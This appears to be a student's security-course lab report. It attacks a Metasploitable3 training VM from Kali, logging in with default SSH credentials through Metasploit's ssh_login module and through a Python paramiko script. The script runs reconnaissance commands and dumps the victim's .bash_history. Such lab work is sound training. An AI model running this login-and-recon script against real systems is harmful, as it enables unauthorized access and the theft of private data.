

ICS 344 Phase 1:

Victim Environment: Metasploitable3 Setup

- **Details:**

- Metasploitable3 .ova file downloaded from [SourceForge](https://sourceforge.net/projects/metasploit/).
- Imported into VirtualBox using File → Import Appliance.
- Allocated 2 CPUs and 2GB RAM.
- Successfully logged in using:
 - **Username:** vagrant
 - **Password:** vagrant
- Verified network configuration using ifconfig.

- **Screenshots:**

- Metasploitable3 running in VirtualBox with terminal open.

```
Ubuntu 14.04.6 LTS metasploitable3-ub1404 tty1
metasploitable3-ub1404 login: vagrant
Password:
Last login: Mon Mar 24 18:48:25 UTC 2025 on tty1
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 3.13.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
```

- victim IP address (192.168.56.102)

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:ee:0c:dd
          inet addr:192.168.56.102  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feee:cdd/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:89 errors:0 dropped:0 overruns:0 frame:0
          TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:15945 (15.9 KB)  TX bytes:9855 (9.8 KB)
```

Attacker Environment: Kali Linux Setup

- **Details:**

- Kali Linux VM is already installed and running in VirtualBox.
- Verified that Metasploit Framework is installed and operational.
- Launched Metasploit using:

```
sudo msfconsole
```

- **Screenshots:**

```

kali@kali:~$ sudo msfconsole
[sudo] password for kali:
Metasploit tip: Enable verbose logging with set VERBOSE true

Home

      ,:ok000kdc'               'cdk000ko:.,
      .x00000000000000c       c0000000000000x.,
      :000000000000000k,      ,k0000000000000000:
      '000000000kkkk00000:    :000000000000000000'
      o000000000.MMMM.o000o0000l.MMMM,00000000o
      d000000000.MMMM.M.c00000c.MMMM.M,00000000x
      l000000000.MMMMMMMMMM;d.MMMMMMMMMM,00000000l
      .000000000.MMM.;MMMMMMMMMMMMMM.MMMM,00000000.
      c000000000.MMM.00c.MMMM'M.o00.MMMMMM,0000;
      o0000000.MMM.0000.MMM.0000.MMM,000000o
      l000000.MMM.0000.MMM.0000.MMM,00000l
      ;0000'MMM.0000.MMM.0000.MMM,0000;
      .d00o'WM.0000occcx0000.MX'x00d.
      ,kol M.00000000000000.M'dok,
      :kk;.00000000000000.;0k:
      ;k0000000000000000k:
      ,x0000000000000x,
      .l00000000l.
      ,d0d,

      =
+ -- ==[ 2489 exploits - 1281 auxiliary - 393 post ]
+ -- ==[ 1463 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

```

Checking Connectivity:

```
(kali㉿kali)-[~]  
$ ping 192.168.56.102  
PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.  
64 bytes from 192.168.56.102: icmp_seq=1 ttl=64 time=0.508 ms  
64 bytes from 192.168.56.102: icmp_seq=2 ttl=64 time=0.227 ms  
64 bytes from 192.168.56.102: icmp_seq=3 ttl=64 time=0.229 ms  
^C
```

TASK 1.1:

In **msfconsole** using scanner/ssh/ssh_login setting RHOSTS which is the victim ip to 192.168.56.102 and credentials then exploiting, successfully granted a session.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf6 auxiliary(scanner/ssh/ssh_login) > set username vagrant
username => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > set password vagrant
password => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > set verbose true
verbose => true
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.56.102:22 - Starting bruteforce
[+] 192.168.56.102:22 - Success: 'vagrant:vagrant' 'uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo) Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] SSH session 1 opened (192.168.56.101:33895 -> 192.168.56.102:22) at 2025-03-25 13:08:33 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l

Active sessions
=====
  Id  Name  Type      Information      Connection
  --  ---  --
  1    shell linux  SSH root @  192.168.56.101:33895 -> 192.168.56.102:22 (192.168.56.102)
```

Selecting the session and can remotely control the victim's device

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

whoami
vagrant
|
```

TASK 1.2:

Script:

```
import paramiko

hostname = "192.168.56.102"

port = 22
username="vagrant"
password = "vagrant"

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
    print(f'Connecting to {hostname}')
```

```
client.connect(hostname, port=port, username=username, password=password)

print('The script worked and we are connected!!')

print('printing whoami:')
stdin, stdout, stderr = client.exec_command("whoami")
print(stdout.read().decode().strip())

print('printing id:')
stdin, stdout, stderr = client.exec_command("id")
print(stdout.read().decode().strip())

print('printing system info (uname -a):')
stdin, stdout, stderr = client.exec_command("uname -a")
print(stdout.read().decode().strip())

print('printing the hostname:')
stdin, stdout, stderr = client.exec_command("hostname")
print(stdout.read().decode().strip())

print('bash_history')
stdin, stdout, stderr = client.exec_command("cat
/home/vagrant/.bash_history")
print(stdout.read().decode().strip())

print('printing first 3 running processes:')
stdin, stdout, stderr = client.exec_command("ps aux | head -3")
print(stdout.read().decode().strip())

print('Exploit we hacked the metasploitable3 successfully!')
except Exception as e:
    print('err:', e)

finally:
    client.close()
```

Output in Kali:

```
View Raw
(kali㉿kali)-[~/Desktop]
└─$ python3 ssh_exploit_script.py 192.168.56.102:22 at 2025-03-25 15:00:32 -0:00
Connecting to 192.168.56.102
The script worked and we are connected!!
printing whoami:
vagrant
printing id:
uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo)
printing system info (uname -a):
Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC
_64 x86_64 GNU/Linux
printing the hostname:
metasploitable3-ub1404
bash_history
uname -a
apt update
sudo apt update
apt upgrade
sudo apt upgrade
uname -a
sudo apt update
sudo apt upgrade
apt list --upgradeable
apt list --upgradable
sudo ua status
last
date
sudo shutdown -h now
whoami
hostname
uname -a
xit
exit
ifconfig
mysql -u root
ifconfig
sudo ufw disable
printing first 3 running processes:
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1   0.0   0.1  33912  3248 ?        Ss   15:25   0:01 /sbin/init
root         2   0.0   0.0      0     0 ?        S    15:25   0:00 [kthreadd]
Exploit we hacked the metasploitable3 successfully!
```